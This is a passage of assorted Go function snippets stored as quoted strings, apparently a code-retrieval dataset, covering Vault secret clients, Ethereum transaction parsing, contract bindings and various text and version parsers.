"func New(ctx context.Context, config *Config) (vault *Vault, err error) {\n\tv := Vault{\n\t\tconfig: config,\n\t}\n\n\tif v.client, err = config.Client(context.Background(), vaultScopes); err != nil {\n\t\treturn nil, fmt.Errorf(\"(Azure/%s): %w\", config.Vault, err)\n\t}\n\n\tif v.config.SubscriptionID != \"\" && v.config.ResourceGroup != \"\" {\n\t\tif v.managementClient, err = config.Client(context.Background(), managementScopes); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"(Azure/%s): %w\", config.Vault, err)\n\t\t}\n\t}\n\n\treturn &v, nil\n}", "func Parse(value string) (*Swift, error) {\n\treturn New(value)\n}", "func secretFromVault(vault *api.Secret) *library.Secret {\n\ts := new(library.Secret)\n\n\tvar data map[string]interface{}\n\t// handle k/v v2\n\tif _, ok := vault.Data[\"data\"]; ok {\n\t\tdata = vault.Data[\"data\"].(map[string]interface{})\n\t} else {\n\t\tdata = vault.Data\n\t}\n\n\t// set events if found in Vault secret\n\tv, ok := data[\"events\"]\n\tif ok {\n\t\tevents, ok := v.([]interface{})\n\t\tif ok {\n\t\t\tfor _, element := range events {\n\t\t\t\tevent, ok := element.(string)\n\t\t\t\tif ok {\n\t\t\t\t\ts.SetEvents(append(s.GetEvents(), event))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// set images if found in Vault secret\n\tv, ok = data[\"images\"]\n\tif ok {\n\t\timages, ok := v.([]interface{})\n\t\tif ok {\n\t\t\tfor _, element := range images {\n\t\t\t\timage, ok := element.(string)\n\t\t\t\tif ok {\n\t\t\t\t\ts.SetImages(append(s.GetImages(), image))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// set name if found in Vault secret\n\tv, ok = data[\"name\"]\n\tif ok {\n\t\tname, ok := v.(string)\n\t\tif ok {\n\t\t\ts.SetName(name)\n\t\t}\n\t}\n\n\t// set org if found in Vault secret\n\tv, ok = data[\"org\"]\n\tif ok {\n\t\torg, ok := v.(string)\n\t\tif ok {\n\t\t\ts.SetOrg(org)\n\t\t}\n\t}\n\n\t// set repo if found in Vault secret\n\tv, ok = data[\"repo\"]\n\tif ok {\n\t\trepo, ok := v.(string)\n\t\tif ok {\n\t\t\ts.SetRepo(repo)\n\t\t}\n\t}\n\n\t// set team if found in Vault secret\n\tv, ok = data[\"team\"]\n\tif ok {\n\t\tteam, ok := v.(string)\n\t\tif ok {\n\t\t\ts.SetTeam(team)\n\t\t}\n\t}\n\n\t// set type if found in Vault secret\n\tv, ok = data[\"type\"]\n\tif ok {\n\t\tsecretType, ok := v.(string)\n\t\tif ok {\n\t\t\ts.SetType(secretType)\n\t\t}\n\t}\n\n\t// set value if found in Vault secret\n\tv, ok = data[\"value\"]\n\tif ok {\n\t\tvalue, ok := v.(string)\n\t\tif ok {\n\t\t\ts.SetValue(value)\n\t\t}\n\t}\n\n\t// set allow_command if found in Vault secret\n\tv, ok = data[\"allow_command\"]\n\tif ok {\n\t\tcommand, ok := v.(bool)\n\t\tif ok {\n\t\t\ts.SetAllowCommand(command)\n\t\t}\n\t}\n\n\treturn s\n}", "func (_Cakevault *CakevaultFilterer) ParseHarvest(log types.Log) (*CakevaultHarvest, error) {\n\tevent := new(CakevaultHarvest)\n\tif err := _Cakevault.contract.UnpackLog(event, \"Harvest\", log); err != nil {\n\t\treturn nil, err\n\t}\n\tevent.Raw = log\n\treturn event, nil\n}", "func (s VersionStr) Parse() (Version, error) {\n\traw, err := version.NewVersion(string(s))\n\tif err != nil {\n\t\treturn Version{}, err\n\t}\n\treturn Version{raw}, nil\n}", "func UpdateVault(c *gin.Context) {\n\tdbmap := c.MustGet(\"DBmap\").(*gorp.DbMap)\n\tverbose := c.MustGet(\"Verbose\").(bool)\n\tid := c.Params.ByName(\"id\")\n\n\tvar vault Vault\n\terr := dbmap.SelectOne(&vault, \"SELECT * FROM vault WHERE id=?\", id)\n\tif err == nil {\n\t\tvar json Vault\n\t\tc.Bind(&json)\n\n\t\tif verbose == true {\n\t\t\tfmt.Println(json)\n\t\t}\n\n\t\tvaultID, _ := strconv.ParseInt(id, 0, 64)\n\n\t\t//TODO : find fields via reflections\n\t\t//XXX custom fields mapping\n\t\tvault := Vault{\n\t\t\tId: vaultID,\n\t\t\tVerifyKey: json.VerifyKey,\n\t\t\tVaultName: json.VaultName,\n\t\t\tCreated: vault.Created, //vault read from previous select\n\t\t}\n\n\t\tif vault.Id != 0 && len(vault.VaultName) >= 3 { // XXX Check mandatory fields\n\t\t\t_, err = dbmap.Update(&vault)\n\t\t\tif err == nil {\n\t\t\t\tc.JSON(200, vault)\n\t\t\t} else {\n\t\t\t\tcheckErr(err, \"Updated failed\")\n\t\t\t}\n\n\t\t} else {\n\t\t\tc.JSON(400, gin.H{\"error\": \"mandatory fields are empty\"})\n\t\t}\n\n\t} else {\n\t\tc.JSON(404, gin.H{\"error\": \"vault not found\"})\n\t}\n\n\t// curl -i -X PUT -H \"Content-Type: application/json\" -d \"{ \\\"firstname\\\": \\\"Thea\\\", \\\"lastname\\\": \\\"Merlyn\\\" }\" http://localhost:8080/api/v1/vaults/1\n}", "func (up *UnitParser) Parse(line string, store Store) error {\n\tm := util.MapRegex(line, up.regex)\n\tvar u Unit\n\tutil.Unmarshal(m, &u)\n\terr := util.ValidateRoman(u.Roman)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = store.Add(\"unit\", u.Intergalactic, u.Roman)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (t *Transaction) FromRaw(input string) error {\n\t// Code was originally heavily inspired by ethers.js v4 utils.transaction.parse:\n\t// https://github.com/ethers-io/ethers.js/blob/v4-legacy/utils/transaction.js#L90\n\t// Copyright (c) 2017 Richard Moore\n\t//\n\t// However it's since been somewhat extensively rewritten to support EIP-2718 and -2930\n\n\tvar (\n\t\tchainId Quantity\n\t\tnonce Quantity\n\t\tgasPrice Quantity\n\t\tgasLimit Quantity\n\t\tmaxPriorityFeePerGas Quantity\n\t\tmaxFeePerGas Quantity\n\t\tto *Address\n\t\tvalue Quantity\n\t\tdata Data\n\t\tv Quantity\n\t\tr Quantity\n\t\ts Quantity\n\t\taccessList AccessList\n\t)\n\n\tif !strings.HasPrefix(input, \"0x\") {\n\t\treturn errors.New(\"input must start with 0x\")\n\t}\n\n\tif len(input) < 4 {\n\t\treturn errors.New(\"not enough input to decode\")\n\t}\n\n\tvar firstByte byte\n\tif prefix, err := NewData(input[:4]); err != nil {\n\t\treturn errors.Wrap(err, \"could not inspect transaction prefix\")\n\t} else {\n\t\tfirstByte = prefix.Bytes()[0]\n\t}\n\n\tswitch {\n\tcase firstByte == byte(TransactionTypeAccessList):\n\t\t// EIP-2930 transaction\n\t\tpayload := \"0x\" + input[4:]\n\t\tif err := rlpDecodeList(payload, &chainId, &nonce, &gasPrice, &gasLimit, &to, &value, &data, &accessList, &v, &r, &s); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not decode RLP components\")\n\t\t}\n\n\t\tif r.Int64() == 0 && s.Int64() == 0 {\n\t\t\treturn errors.New(\"unsigned transactions not supported\")\n\t\t}\n\n\t\tt.Type = OptionalQuantityFromInt(int(firstByte))\n\t\tt.Nonce = nonce\n\t\tt.GasPrice = &gasPrice\n\t\tt.Gas = gasLimit\n\t\tt.To = to\n\t\tt.Value = value\n\t\tt.Input = data\n\t\tt.AccessList = &accessList\n\t\tt.V = v\n\t\tt.R = r\n\t\tt.S = s\n\t\tt.ChainId = &chainId\n\n\t\tsigningHash, err := t.SigningHash(chainId)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsignature, err := NewEIP2718Signature(chainId, r, s, v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsender, err := signature.Recover(signingHash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\traw, err := t.RawRepresentation()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tt.Hash = raw.Hash()\n\t\tt.From = *sender\n\t\treturn nil\n\tcase firstByte == byte(TransactionTypeDynamicFee):\n\t\t// EIP-1559 transaction\n\t\tpayload := \"0x\" + input[4:]\n\t\t// 0x02 || rlp([chainId, nonce, maxPriorityFeePerGas, maxFeePerGas, gasLimit, to, value, data, access_list, signatureYParity, signatureR, signatureS])\n\t\tif err := rlpDecodeList(payload, &chainId, &nonce, &maxPriorityFeePerGas, &maxFeePerGas, &gasLimit, &to, &value, &data, &accessList, &v, &r, &s); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not decode RLP components\")\n\t\t}\n\n\t\tif r.Int64() == 0 && s.Int64() == 0 {\n\t\t\treturn errors.New(\"unsigned transactions not supported\")\n\t\t}\n\n\t\tt.Type = OptionalQuantityFromInt(int(firstByte))\n\t\tt.Nonce = nonce\n\t\tt.MaxPriorityFeePerGas = &maxPriorityFeePerGas\n\t\tt.MaxFeePerGas = &maxFeePerGas\n\t\tt.Gas = gasLimit\n\t\tt.To = to\n\t\tt.Value = value\n\t\tt.Input = data\n\t\tt.AccessList = &accessList\n\t\tt.V = v\n\t\tt.R = r\n\t\tt.S = s\n\t\tt.ChainId = &chainId\n\n\t\tsigningHash, err := t.SigningHash(chainId)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsignature, err := NewEIP2718Signature(chainId, r, s, v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsender, err := signature.Recover(signingHash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\traw, err := t.RawRepresentation()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tt.Hash = raw.Hash()\n\t\tt.From = *sender\n\t\treturn nil\n\tcase firstByte > 0x7f:\n\t\t// In EIP-2718 types larger than 0x7f are reserved since they potentially conflict with legacy RLP encoded\n\t\t// transactions. As such we can attempt to decode any such transactions as legacy format and attempt to\n\t\t// decode the input string as an rlp.Value\n\t\tif err := rlpDecodeList(input, &nonce, &gasPrice, &gasLimit, &to, &value, &data, &v, &r, &s); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not decode RLP components\")\n\t\t}\n\n\t\tif r.Int64() == 0 && s.Int64() == 0 {\n\t\t\treturn errors.New(\"unsigned transactions not supported\")\n\t\t}\n\n\t\t// ... and fill in all our fields with the decoded values\n\t\tt.Nonce = nonce\n\t\tt.GasPrice = &gasPrice\n\t\tt.Gas = gasLimit\n\t\tt.To = to\n\t\tt.Value = value\n\t\tt.Input = data\n\t\tt.V = v\n\t\tt.R = r\n\t\tt.S = s\n\n\t\tsignature, err := NewEIP155Signature(r, s, v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsigningHash, err := t.SigningHash(signature.chainId)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsender, err := signature.Recover(signingHash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\traw, err := t.RawRepresentation()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tt.Hash = raw.Hash()\n\t\tt.From = *sender\n\t\treturn nil\n\tdefault:\n\t\treturn errors.New(\"unsupported transaction type\")\n\t}\n}", "func PostVault(c *gin.Context) {\n\tdbmap := c.MustGet(\"DBmap\").(*gorp.DbMap)\n\tverbose := c.MustGet(\"Verbose\").(bool)\n\n\tvar vault Vault\n\tc.Bind(&vault)\n\n\tif verbose == true {\n\t\tfmt.Println(vault)\n\t\tfmt.Println(len(vault.VaultName))\n\t}\n\n\tif len(vault.VaultName) >= 3 { // XXX Check mandatory fields\n\t\terr := dbmap.Insert(&vault)\n\t\tif err == nil {\n\t\t\tc.JSON(201, vault)\n\t\t} else {\n\t\t\tcheckErr(err, \"Insert failed\")\n\t\t}\n\n\t} else {\n\t\tc.JSON(400, gin.H{\"error\": \"Mandatory fields are empty\"})\n\t}\n\n\t// curl -i -X POST -H \"Content-Type: application/json\" -d \"{ \\\"firstname\\\": \\\"Thea\\\", \\\"lastname\\\": \\\"Queen\\\" }\" http://localhost:8080/api/v1/vaults\n}", "func ParseVolume(input string) (Volume, error) {\n\tparts := strings.Split(input, \":\")\n\tswitch len(parts) {\n\tcase 1:\n\t\treturn Volume{Type: VolumeTypeInstance, Path: input}, nil\n\tcase 2:\n\t\tif vt, mountOptions, err := parseVolumeType(parts[0]); err == nil {\n\t\t\treturn Volume{Type: vt, Path: parts[1], MountOptions: mountOptions}, nil\n\t\t}\n\t\treturn Volume{Type: VolumeTypeLocal, Path: parts[1], HostPath: parts[0]}, nil\n\tcase 3:\n\t\tif _, _, err := parseVolumeType(parts[0]); err == nil {\n\t\t\treturn Volume{}, maskAny(errgo.WithCausef(nil, ValidationError, \"not a valid volume '%s'\", input))\n\t\t}\n\t\toptions, err := parseVolumeOptions(parts[2])\n\t\tif err != nil {\n\t\t\treturn Volume{}, maskAny(err)\n\t\t}\n\t\treturn Volume{Type: VolumeTypeLocal, Path: parts[1], HostPath: parts[0], Options: options}, nil\n\tdefault:\n\t\treturn Volume{}, maskAny(errgo.WithCausef(nil, ValidationError, \"not a valid volume '%s'\", input))\n\t}\n}", "func New(in []byte) (*SecurityTxt, error) {\n\tmsg, err := NewSignedMessage(in)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxt := &SecurityTxt{\n\t\tsigned: msg.Signed(),\n\t}\n\n\t// Note: try and collect as many fields as possible and as many errors as possible\n\t// Output should be human-readable error report.\n\n\terr = Parse(msg.Message(), txt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Caller should deal with parsing errors\n\treturn txt, nil\n}", "func Parse(ctx context.Context, args ...core.Value) (core.Value, error) {\n\terr := core.ValidateArgs(args, 1, 1)\n\n\tif err != nil {\n\t\treturn values.None, err\n\t}\n\n\terr = core.ValidateType(args[0], core.StringType)\n\n\tif err != nil {\n\t\treturn values.None, err\n\t}\n\n\tdrv, err := drivers.StaticFrom(ctx)\n\n\tif err != nil {\n\t\treturn values.None, err\n\t}\n\n\tstr := args[0].(values.String)\n\n\treturn drv.ParseDocument(ctx, str)\n}", "func (_PlasmaFramework *PlasmaFrameworkFilterer) ParseVaultRegistered(log types.Log) (*PlasmaFrameworkVaultRegistered, error) {\n\tevent := new(PlasmaFrameworkVaultRegistered)\n\tif err := _PlasmaFramework.contract.UnpackLog(event, \"VaultRegistered\", log); err != nil {\n\t\treturn nil, err\n\t}\n\treturn event, nil\n}", "func Parse(token string, payload interface{}, footer interface{},\n\tsymmetricKey []byte, publicKeys map[Version]crypto.PublicKey) (Version, error) {\n\tparts := strings.Split(token, \".\")\n\tversion := Version(parts[0])\n\tif len(parts) < 3 {\n\t\treturn version, ErrIncorrectTokenFormat\n\t}\n\n\tprotocol, found := availableVersions[version]\n\tif !found {\n\t\treturn version, ErrUnsupportedTokenVersion\n\t}\n\n\tswitch parts[1] {\n\tcase \"local\":\n\t\treturn version, protocol.Decrypt(token, symmetricKey, payload, footer)\n\tcase \"public\":\n\t\tpubKey, found := publicKeys[version]\n\t\tif !found {\n\t\t\treturn version, ErrPublicKeyNotFound\n\t\t}\n\t\treturn version, protocol.Verify(token, pubKey, payload, footer)\n\tdefault:\n\t\treturn version, ErrUnsupportedTokenType\n\n\t}\n}", "func (v *Vault) Run() {\n\tgo func() {\n\t\t<-v.SignalCh\n\t\tv.Stop()\n\t}()\n\tfor {\n\t\terr := v.CheckInitStatus()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Run|Error checking initStatus %v\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tresponse, err := v.HTTPClient.Get(v.Opt.VaultConfig.Address() + \"/v1/sys/health\")\n\n\t\tif response != nil && response.Body != nil {\n\t\t\tresponse.Body.Close()\n\t\t}\n\n\t\tif err != nil {\n\t\t\tlog.Panicf(\"Error while checking health of vault %v\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tlog.Printf(\"Run|Response of vault health %v \\n\", response.StatusCode)\n\t\tswitch response.StatusCode {\n\t\tcase 200:\n\t\t\tlog.Println(\"Run|Vault is initialized and unsealed. Exiting Program\")\n\t\t\tos.Exit(0)\n\t\tcase 429:\n\t\t\tlog.Println(\"Run|Vault is unsealed and in standby mode. Exiting Program\")\n\t\t\tos.Exit(0)\n\t\tcase 501:\n\t\t\tlog.Println(\"Run|Vault is not initialized. Initializing and unsealing...\")\n\t\t\terr := v.ProcessInitVault(v.InitRequest)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Run|Error with initprocess: %v\", err)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\t//Store keys in memory in case vault is not initialized or for future use the keys can be used\n\t\t\t//At this stage only encrypted vault response is there.\n\t\t\t//Should we store it as ascii secret of injection_files\n\t\t\t// err = v.StoreEncryptedResponse()\n\t\t\t// if err != nil {\n\t\t\t// \tlog.Println(\"Run|Error while storing intermediate response\")\n\t\t\t// }\n\t\t\terr = v.Unseal(v.ProcessKeyFun)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Run|Error unsealing: %v\", err)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\t// Dont store in case of vanilla initialization\n\t\t\tif !v.Opt.IsVanillaInitialization {\n\t\t\t\terr = v.StoreDecryptedResponse()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Run|Error while exporting secrets to cas: %v\", err)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t}\n\t\t\t}\n\t\tcase 503:\n\t\t\tlog.Println(\"Run|Vault is initialized but in sealed state. Unsealing...\")\n\t\t\t//Read the keys in memory from CAS session\n\t\t\terr := v.Unseal(v.ProcessKeyFun)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Run|Error Unsealing: %v\", err)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\tdefault:\n\t\t\tlog.Panicf(\"Run|Vault is in an unknown state. Status: %v\", response)\n\t\t\tos.Exit(1)\n\t\t}\n\t\ttime.After(v.Opt.VaultConfig.CheckInterval())\n\t}\n}", "func vaultDecode(data interface{}) ([]byte, error) {\n\tencoded, ok := data.(string)\n\tif !ok {\n\t\treturn nil, errors.New(\"Received non-string data\")\n\t}\n\treturn base64.StdEncoding.DecodeString(strings.TrimPrefix(encoded, vaultV1DataPrefix))\n}", "func (_Vault *VaultCallerSession) ParseBurnInst(inst []byte) (VaultBurnInstData, error) {\n\treturn _Vault.Contract.ParseBurnInst(&_Vault.CallOpts, inst)\n}", "func Parse(input []byte) (text []byte, list List) {\n\tm := parse.Bytes(input)\n\ttext = m.Text\n\tif len(m.List) > 0 {\n\t\tlist = make(List, len(m.List))\n\t\tfor i, v := range m.List {\n\t\t\tlist[i] = string(v)\n\t\t}\n\t}\n\tm.Release()\n\treturn text, list\n}", "func Parse(s []byte, options ...ParseOption) (Token, error) {\n\treturn parseBytes(s, options...)\n}", "func Parse(raw, format, modifier string) (*CalVer, error) {\n\tc, err := New(format, modifier)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparts := strings.Split(raw, \"-\")\n\tif len(parts) > 1 {\n\t\t// meaning that it could either be an iterative build or a prerelease\n\t\tvar i string\n\t\tif strings.Contains(raw, c.modifier) {\n\t\t\tc.pre = true\n\t\t\tif strings.Contains(parts[1], \".\") {\n\t\t\t\ti = strings.Split(parts[1], \".\")[1]\n\t\t\t} else {\n\t\t\t\ti = \"0\"\n\t\t\t}\n\t\t} else {\n\t\t\ti = parts[1]\n\t\t}\n\n\t\tinc, err := strconv.ParseUint(i, 0, 64)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"provided string doesn't match the format: %s\", c.format)\n\t\t}\n\n\t\tc.increment = inc\n\t}\n\n\t// for now I'm only checking for `.` to verify if the format is valid which barely\n\t// tells anything so this would be something I need to address later\n\tcount := strings.Count(c.format.String(), \".\")\n\tif strings.Count(parts[0], \".\") != count {\n\t\treturn nil, fmt.Errorf(\"provided string doesn't match the format: %s\", c.format)\n\t}\n\n\tmajor, minor, micro, err := c.format.parse(parts[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc.major = major\n\tc.minor = minor\n\tc.micro = micro\n\n\tc.version = newVersion(major, minor, micro)\n\n\treturn c, nil\n}", "func ParseVG(line string) (*VG, error) {\n\tcomponents := strings.Split(line, separator)\n\tif len(components) != 6 {\n\t\treturn nil, fmt.Errorf(\"expected 8 components, got %d\", len(components))\n\t}\n\n\tfields := map[string]string{}\n\tfor _, c := range components {\n\t\tidx := strings.Index(c, \"=\")\n\t\tif idx == -1 {\n\t\t\treturn nil, fmt.Errorf(\"failed to parse component '%s'\", c)\n\t\t}\n\t\tkey := c[0:idx]\n\t\tvalue := c[idx+1 : len(c)]\n\t\tif len(value) < 2 {\n\t\t\treturn nil, fmt.Errorf(\"failed to parse component '%s'\", c)\n\t\t}\n\t\tif value[0] != '\\'' || value[len(value)-1] != '\\'' {\n\t\t\treturn nil, fmt.Errorf(\"failed to parse component '%s'\", c)\n\t\t}\n\t\tvalue = value[1 : len(value)-1]\n\t\tfields[key] = value\n\t}\n\n\tsize, err := strconv.ParseUint(fields[\"LVM2_VG_SIZE\"], 10, 64)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfree, err := strconv.ParseUint(fields[\"LVM2_VG_FREE\"], 10, 64)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &VG{\n\t\tName: fields[\"LVM2_VG_NAME\"],\n\t\tUUID: fields[\"LVM2_VG_UUID\"],\n\t\tSize: size,\n\t\tFree: free,\n\t\tTags: strings.Split(fields[\"LVM2_VG_TAGS\"], \",\"),\n\t}, nil\n}", "func (v passPhraseVault) DecryptText(text string) (string, error) {\n\treturn DecryptText(text, v.passPhrase)\n}", "func Parse(doc string) (Text, error) {\n\tt, parser := Text{}, reger.Build(&Text{})\n\treturn t, parser.ParseString(doc, &t)\n}", "func (v envVault) DecryptText(text string) (string, error) {\n\treturn DecryptText(text, v.passPhrase)\n}", "func (g *Game) Parse(input string) *ParseData {\n\tinput = strings.ToUpper(strings.TrimSpace(input))\n\n\tvar verb, noun string\n\twords := strings.SplitN(input, \" \", 2)\n\tif len(words) > 0 {\n\t\tverb = words[0]\n\t}\n\tif len(words) > 1 {\n\t\tnoun = words[1]\n\t}\n\n\tswitch verb {\n\tcase \"N\", \"NORTH\":\n\t\tverb, noun = \"GO\", \"NORTH\"\n\tcase \"S\", \"SOUTH\":\n\t\tverb, noun = \"GO\", \"SOUTH\"\n\tcase \"W\", \"WEST\":\n\t\tverb, noun = \"GO\", \"WEST\"\n\tcase \"E\", \"EAST\":\n\t\tverb, noun = \"GO\", \"EAST\"\n\tcase \"U\", \"UP\":\n\t\tverb, noun = \"GO\", \"UP\"\n\tcase \"D\", \"DOWN\":\n\t\tverb, noun = \"GO\", \"DOWN\"\n\tcase \"I\":\n\t\tverb = \"INVENTORY\"\n\t}\n\n\treturn &ParseData{\n\t\tVerb: verb,\n\t\tVerbIndex: g.findWord(g.Current.Verbs, verb),\n\t\tNoun: noun,\n\t\tNounIndex: g.findWord(g.Current.Nouns, noun),\n\t}\n}", "func (u *Usage) UnmarshalText(text []byte) error {\n\ts := Usage(text)\n\tif _, ok := usages[s]; !ok {\n\t\treturn serrors.WithCtx(ErrUnsupportedUsage, \"input\", string(text))\n\t}\n\t*u = s\n\treturn nil\n}", "func (a *Vector3) UnmarshalText(b []byte) error {\n\tv, err := ParseVector3(string(b))\n\tif err != nil {\n\t\treturn err\n\t}\n\ta.Set(v)\n\treturn nil\n}", "func (p PuppetParse) parseValueText(s string) (string, error) {\n\tresult, err := p.parseQuotedText(s)\n\tif err != nil {\n\t\tresult, err = p.parseAndValidateKeywordText(s)\n\t}\n\treturn result, err\n\n}", "func NewVaultClient(conf flag.FlagSet) (Client, error) {\n\n\t// Vault struct logger\n\tvar err error\n\tclientLogger, err := zap.NewProduction()\n\n\tdefer clientLogger.Sync()\n\n\tif err != nil {\n\t\tclientLogger.Fatal(\"failed to initialize logger\", zap.Error(err))\n\t}\n\n\t// initialize Vault Client\n\tvaultClient, err := api.NewClient(nil)\n\n\tif err != nil {\n\t\tconf.Usage()\n\t\tclientLogger.Fatal(\"failed to initialize Vault client\", zap.Error(err))\n\t}\n\n\t// Set Address\n\taddress := conf.Lookup(\"addr\").Value.String()\n\tif address != \"\" {\n\t\tvaultClient.SetAddress(address)\n\t} // else VAULT_ADDR will be used\n\n\t// Set Token\n\t// is the token within a file?\n\ttoken := conf.Lookup(\"token\").Value.String()\n\n\tif info, err := os.Stat(token); err == nil && !util.IsDirectory(info) {\n\t\t// grab it as a single batch\n\t\tdata, err := ioutil.ReadFile(token)\n\t\tif err != nil {\n\t\t\tclientLogger.Error(\"failed to read token file\", zap.Error(err))\n\t\t}\n\n\t\t// only set non-empty token\n\t\tif len(data) > 0 {\n\t\t\tvaultClient.SetToken(strings.TrimSpace(string(data)))\n\t\t}\n\t} else if token != \"\" {\n\t\tvaultClient.SetToken(token)\n\t} // else VAULT_TOKEN will be used\n\n\treturn &Vault{\n\t\tClient: vaultClient,\n\t\tlogger: clientLogger,\n\t}, nil\n}", "func Parse(acls string, delimiter string) (*ACLs, error) {\n\ttokens := strings.Split(acls, delimiter)\n\tentries := []*Entry{}\n\tfor _, t := range tokens {\n\t\t// ignore empty lines and comments\n\t\tif t == \"\" || isComment(t) {\n\t\t\tcontinue\n\t\t}\n\t\tvar err error\n\t\tvar entry *Entry\n\t\tif strings.HasPrefix(t, TypeLightweight) {\n\t\t\tentry, err = ParseLWEntry(t)\n\t\t} else {\n\t\t\tentry, err = ParseEntry(t)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tentries = append(entries, entry)\n\t}\n\n\treturn &ACLs{Entries: entries, delimiter: delimiter}, nil\n}", "func (r *Resource) UnmarshalText(txt []byte) error {\n\telements := bytes.Split(txt, []byte(\" \"))\n\n\tif len(elements) < 3 {\n\t\treturn fmt.Errorf(\"invalid resource text\")\n\t}\n\n\ttmp := Resource{}\n\n\tif err := (&tmp.ID).UnmarshalText(elements[0]); err != nil {\n\t\treturn fmt.Errorf(\"parsing ID from text: %+v\", err)\n\t}\n\n\tif err := (&tmp.Status).UnmarshalText(elements[1]); err != nil {\n\t\treturn fmt.Errorf(\"parsing Status from text: %+v\", err)\n\t}\n\n\tif err := (&tmp.Since).UnmarshalText(elements[2]); err != nil {\n\t\treturn fmt.Errorf(\"parsing Since from text: %+v\", err)\n\t}\n\tif tmp.Since.IsZero() {\n\t\ttmp.Since = time.Time{}\n\t}\n\n\t*r = tmp\n\n\treturn nil\n}", "func (_Vault *VaultCaller) ParseBurnInst(opts *bind.CallOpts, inst []byte) (VaultBurnInstData, error) {\n\tvar (\n\t\tret0 = new(VaultBurnInstData)\n\t)\n\tout := ret0\n\terr := _Vault.contract.Call(opts, out, \"parseBurnInst\", inst)\n\treturn *ret0, err\n}", "func (p *Kolonish) Parse(name string, template []byte) (*parser.AST, error) {\n\treturn p.ParseString(name, string(template))\n}", "func (b *Balance) UnmarshalText(text []byte) error {\n\ts := util.TrimQuotes(string(text))\n\tv, err := strconv.ParseInt(s, 10, 64)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif b.Int != nil {\n\t\tb.Int = nil\n\t}\n\tb.Int = new(big.Int).SetInt64(v)\n\n\treturn nil\n}", "func Parse(str string) (money Money, err error) {\n\tvar c currency.Currency\n\tvar ok bool\n\n\tif len(str) < 4 {\n\t\terr = fmt.Errorf(\"'%s' cannot be parsed\", str)\n\t\treturn\n\t}\n\n\tparsed := parseRegex.FindStringSubmatch(str[4:])\n\tif len(parsed) == 0 {\n\t\terr = fmt.Errorf(\"'%s' cannot be parsed\", str)\n\t\treturn\n\t}\n\n\tif c, ok = currency.Table[str[0:3]]; !ok {\n\t\terr = fmt.Errorf(\"could not find currency %s\", str[0:3])\n\t\treturn\n\t}\n\n\tamountStr := strings.Replace(parsed[0], string(c.Delimiter), \"\", 0)\n\n\tif amount, err := decimal.NewFromString(amountStr); err != nil {\n\t\treturn money, err\n\t} else {\n\t\treturn Make(amount, c), nil\n\t}\n}", "func (a *Parser) Parse(s string) error {\n\treturn a.ParseBytes([]byte(s))\n}", "func vaultDecode(data interface{}) ([]byte, error) {\n\tencoded, ok := data.(string)\n\tif !ok {\n\t\treturn nil, errors.New(\"Received non-string data\")\n\t}\n\n\treturn base64.StdEncoding.DecodeString(prefixRegex.ReplaceAllString(encoded, \"\"))\n}", "func (p *Plain) Parse(data []byte) (T, error) {\n\tt := newPlainT(p.archetypes)\n\n\t//convert to string and remove spaces according to unicode\n\tstr := strings.TrimRightFunc(string(data), unicode.IsSpace)\n\n\t//creat element\n\te := NewElement(str)\n\n\t//set it as single table value\n\tt.Set(\".0\", e)\n\n\treturn t, nil\n}", "func New(viper *viper.Viper, httpClient *http.Client) (*Config, error) {\n\n\t// Set Defaults\n\tviper.SetDefault(\"VAULT_ADDR\", \"http://127.0.0.1:8200\")\n\tviper.SetDefault(\"KV_VERSION\", \"2\")\n\n\t// Instantiate Env\n\tviper.SetEnvPrefix(\"AVP\")\n\tviper.AutomaticEnv()\n\n\tconfig := &Config{\n\t\tAddress: viper.GetString(\"VAULT_ADDR\"),\n\t\tPathPrefix: viper.GetString(\"PATH_PREFIX\"),\n\t}\n\n\tapiConfig := &api.Config{\n\t\tAddress: viper.GetString(\"VAULT_ADDR\"),\n\t\tHttpClient: httpClient,\n\t}\n\n\ttlsConfig := &api.TLSConfig{}\n\n\tif viper.IsSet(\"VAULT_CAPATH\") {\n\t\ttlsConfig.CAPath = viper.GetString(\"VAULT_CAPATH\")\n\t}\n\n\tif viper.IsSet(\"VAULT_CACERT\") 